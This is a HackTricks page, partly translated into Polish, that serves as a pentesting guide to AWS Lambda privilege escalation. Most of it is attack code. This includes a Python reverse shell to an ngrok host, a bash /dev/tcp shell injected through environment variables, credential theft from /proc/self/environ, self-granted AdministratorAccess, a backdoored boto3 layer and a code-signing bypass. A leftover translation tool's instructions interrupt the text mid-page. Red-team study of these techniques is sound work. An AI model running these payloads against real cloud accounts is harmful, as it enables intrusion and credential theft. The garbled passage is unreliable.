AWS - Lambda Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
lambda
Więcej informacji o lambda w:
iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)
Użytkownicy posiadający uprawnienia iam:PassRole, lambda:CreateFunction i lambda:InvokeFunction mogą eskalować swoje przywileje.
Mogą utworzyć nową funkcję Lambda i przypisać jej istniejącą rolę IAM, nadając funkcji uprawnienia związane z tą rolą. Następnie użytkownik może napisać i wgrać kod do tej funkcji Lambda (np. z rev shell).
Gdy funkcja jest skonfigurowana, użytkownik może wywołać jej wykonanie i zamierzone działania, wywołując funkcję Lambda przez AWS API. Takie podejście pozwala użytkownikowi wykonywać zadania pośrednio za pomocą funkcji Lambda, działając z poziomem dostępu przyznanym roli IAM przypisanej do niej.\
Atakujący może to wykorzystać, aby uzyskać rev shell i ukraść token:
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
# List roles
aws iam list-attached-user-policies --user-name <user-name>
Możesz również abuse the lambda role permissions z samej lambda function.
Jeśli lambda role ma wystarczające permissions, możesz go użyć, aby przyznać sobie admin rights:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
Możliwe jest także leak poświadczeń roli lambda bez konieczności nawiązywania połączenia zewnętrznego. To przydatne w przypadku Network isolated Lambdas wykorzystywanych do zadań wewnętrznych. Jeśli nieznane security groups filtrują Twoje reverse shells, ten fragment kodu pozwoli Ci bezpośrednio leak poświadczeń jako output lambda.
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
Potencjalny wpływ: Bezpośrednie privesc do określonej roli usługi lambda.
Caution
Zwróć uwagę, że choć może to wyglądać interesująco,
lambda:InvokeAsyncnie pozwala samo w sobie na wykonanieaws lambda invoke-async, potrzebujesz równieżlambda:InvokeFunction
iam:PassRole, lambda:CreateFunction, lambda:AddPermission
Jak w poprzednim scenariuszu, możesz przyznać sobie uprawnienie lambda:InvokeFunction jeśli masz uprawnienie lambda:AddPermission
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
Potencjalny wpływ: Bezpośrednie privesc do dowolnej określonej roli usługi Lambda.
iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping
Użytkownicy z uprawnieniami iam:PassRole, lambda:CreateFunction i lambda:CreateEventSourceMapping (a potencjalnie dynamodb:PutItem i dynamodb:CreateTable) mogą pośrednio eskalować uprawnienia nawet bez lambda:InvokeFunction.
Mogą utworzyć funkcję Lambda ze złośliwym kodem i przypisać jej istniejącą rolę IAM.
Zamiast bezpośrednio wywoływać funkcję Lambda, użytkownik tworzy lub wykorzystuje istniejącą tabelę DynamoDB, łącząc ją z funkcją Lambda przez event source mapping. To ustawienie powoduje, że funkcja Lambda jest uruchamiana automatycznie po dodaniu nowego elementu do tabeli, przez działanie użytkownika lub inny proces, co w ten sposób pośrednio wywołuje funkcję Lambda i wykonuje kod z uprawnieniami przekazanej roli IAM.
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
Jeśli DynamoDB jest już aktywne w środowisku AWS, użytkownik musi jedynie ustanowić mapowanie źródła zdarzeń dla funkcji Lambda. Jednak jeśli DynamoDB nie jest używane, użytkownik musi utworzyć nową tabelę z włączonym streamingiem:
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
Teraz można połączyć funkcję Lambda z tabelą DynamoDB poprzez utworzenie event source mapping:
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
Jeżeli funkcja Lambda jest połączona ze strumieniem DynamoDB, atakujący może pośrednio wywołać funkcję Lambda, aktywując strumień DynamoDB. Można to osiągnąć poprzez wstawienie elementu do tabeli DynamoDB:
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
Potential Impact: Bezpośredni privesc do wskazanej roli usługi lambda.
lambda:AddPermission
Atakujący posiadający to uprawnienie może przyznać sobie (lub innym) dowolne uprawnienia (to tworzy polityki oparte na zasobach przyznające dostęp do zasobu):
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
Potencjalny wpływ: Bezpośrednie privesc do roli usługi lambda poprzez nadanie uprawnienia do modyfikacji kodu i jego uruchamiania.
lambda:AddLayerVersionPermission
Atakujący posiadający to uprawnienie może przyznać sobie (lub innym) uprawnienie lambda:GetLayerVersion. Mógłby uzyskać dostęp do warstwy i szukać podatności lub wrażliwych informacji
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
Potential Impact: Potencjalny dostęp do poufnych informacji.
lambda:UpdateFunctionCode
Użytkownicy posiadający uprawnienie lambda:UpdateFunctionCode mają możliwość zmodyfikowania kodu istniejącej funkcji Lambda przypisanej do roli IAM.
Atakujący może zmodyfikować kod funkcji Lambda, aby exfiltrate the IAM credentials.
Chociaż atakujący może nie mieć bezpośredniej możliwości wywołania funkcji, jeśli funkcja Lambda jest już istniejąca i działa, prawdopodobne jest, że zostanie uruchomiona przez istniejące przepływy pracy lub zdarzenia, co pośrednio umożliwi wykonanie zmodyfikowanego kodu.
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
Potencjalny wpływ: Bezpośredni privesc do użytej roli serwisowej lambda.
lambda:UpdateFunctionConfiguration
RCE poprzez zmienne środowiskowe
Dzięki tym uprawnieniom można dodać zmienne środowiskowe, które spowodują, że Lambda wykona dowolny kod. Na przykład w pythonie można wykorzystać zmienne środowiskowe PYTHONWARNING i BROWSER, aby sprawić, że proces python wykona dowolne polecenia:
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
Dla innych języków skryptowych dostępne są inne env variables, których możesz użyć. Po więcej informacji sprawdź podsekcje dotyczące języków skryptowych w:
macOS Process Abuse - HackTricks
RCE via Lambda Layers
Lambda Layers allows to include code in your lamdba function but storing it separately, so the function code can stay small and several functions can share code.
Inside lambda you can check the paths from where python code is loaded with a function like the following:
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
These are the places:
- /var/task
- /opt/python/lib/python3.7/site-packages
- /opt/python
- /var/runtime
- /var/lang/lib/python37.zip
- /var/lang/lib/python3.7
- /var/lang/lib/python3.7/lib-dynload
- /var/lang/lib/python3.7/site-packages
- /opt/python/lib/python3.7/site-packages
- /opt/python
For example, the library boto3 is loaded from /var/runtime/boto3 (4th position).
Eksploatacja
Możliwe jest nadużycie uprawnienia lambda:UpdateFunctionConfiguration, aby dodać nową warstwę do funkcji lambda. Aby wykonać dowolny kod, ta warstwa musi zawierać jakąś bibliotekę, którą lambda zaimportuje. Jeśli możesz odczytać kod lambda, możesz to łatwo znaleźć; zwróć też uwagę, że funkcja lambda może już używać warstwy, którą możesz pobrać i dodać tam swój kod.
Na przykład, załóżmy, że lambda używa biblioteki boto3 — to utworzy lokalną warstwę z najnowszą wersją biblioteki:
pip3 install -t ./lambda_layer boto3
Możesz otworzyć ./lambda_layer/boto3/__init__.py i dodać backdoor w globalnym kodzie (na przykład funkcję do exfiltrate credentials lub uzyskania reverse shell).
Następnie spakuj katalog ./lambda_layer do archiwum zip i prześlij nowy lambda layer na swoje konto (lub na konto ofiary, ale możesz nie mieć do tego uprawnień).
Zwróć uwagę, że musisz utworzyć folder python i umieścić w nim biblioteki, aby nadpisać /opt/python/boto3. Warstwa musi też być zgodna z wersją python używaną przez lambdę, a jeśli przesyłasz ją na swoje konto, musi znajdować się w tym samym regionie:
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
Teraz udostępnij przesłaną lambda layer dla dowolnego konta:
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
Następnie dołącz lambda layer do victim lambda function:
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
Następnym krokiem będzie albo samodzielne wywołanie funkcji, jeśli to możliwe, albo poczekać, aż zostanie ona wywołana normalnymi środkami — co jest bezpieczniejszą metodą.
Bardziej ukryty sposób wykorzystania tej podatności można znaleźć w:
AWS - Lambda Layers Persistence
Potential Impact: Direct privesc to the lambda service role used.
iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl
Może z tymi uprawnieniami będziesz w stanie utworzyć funkcję i uruchomić ją, wywołując URL… ale nie znalazłem sposobu, by to przetestować, więc daj znać, jeśli Ci się uda!
Lambda MitM
Niektóre lambdas będą otrzymywać w parametrach wrażliwe informacje od użytkowników. Jeśli uzyskasz RCE w jednej z nich, możesz exfiltrate informacje, które inni użytkownicy do niej wysyłają; sprawdź to w:
Referencje
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing
If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function’s IAM role or triggers.
Permissions (one of):
- Path A:
lambda:DeleteFunctionCodeSigningConfig,lambda:UpdateFunctionCode - Path B:
lambda:CreateCodeSigningConfig,lambda:PutFunctionCodeSigningConfig,lambda:UpdateFunctionCode
Uwagi:
- Dla Path B nie potrzebujesz profilu AWS Signer, jeśli polityka CSC jest ustawiona na
WARN(dozwolone są unsigned artifacts).
Steps (REGION=us-east-1, TARGET_FN=
Przygotuj mały payload:
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
Ścieżka A) Usuń CSC, a następnie zaktualizuj kod:
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Ścieżka B) Obniż do poziomu Warn i zaktualizuj code (jeśli usunięcie niedozwolone):
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Verified. I will:
- Translate relevant English text to Polish.
- Preserve code, hacking technique names, common hacking words, cloud/SaaS names (aws, gcp, Workspace, etc.), the word “leak”, pentesting, links, paths, and markdown/html tags exactly as-is.
- Not translate or modify tags, refs, includes, or paths (e.g. {#tabs}, {#ref}, filenames).
- Keep formatting/markdown unchanged and not add any extra content.
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
Potencjalny wpływ: Możliwość wgrania i uruchomienia dowolnego niepodpisanego kodu w funkcji, która miała wymuszać podpisane wdrożenia, co może doprowadzić do wykonania kodu z uprawnieniami roli funkcji.
Czyszczenie:
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

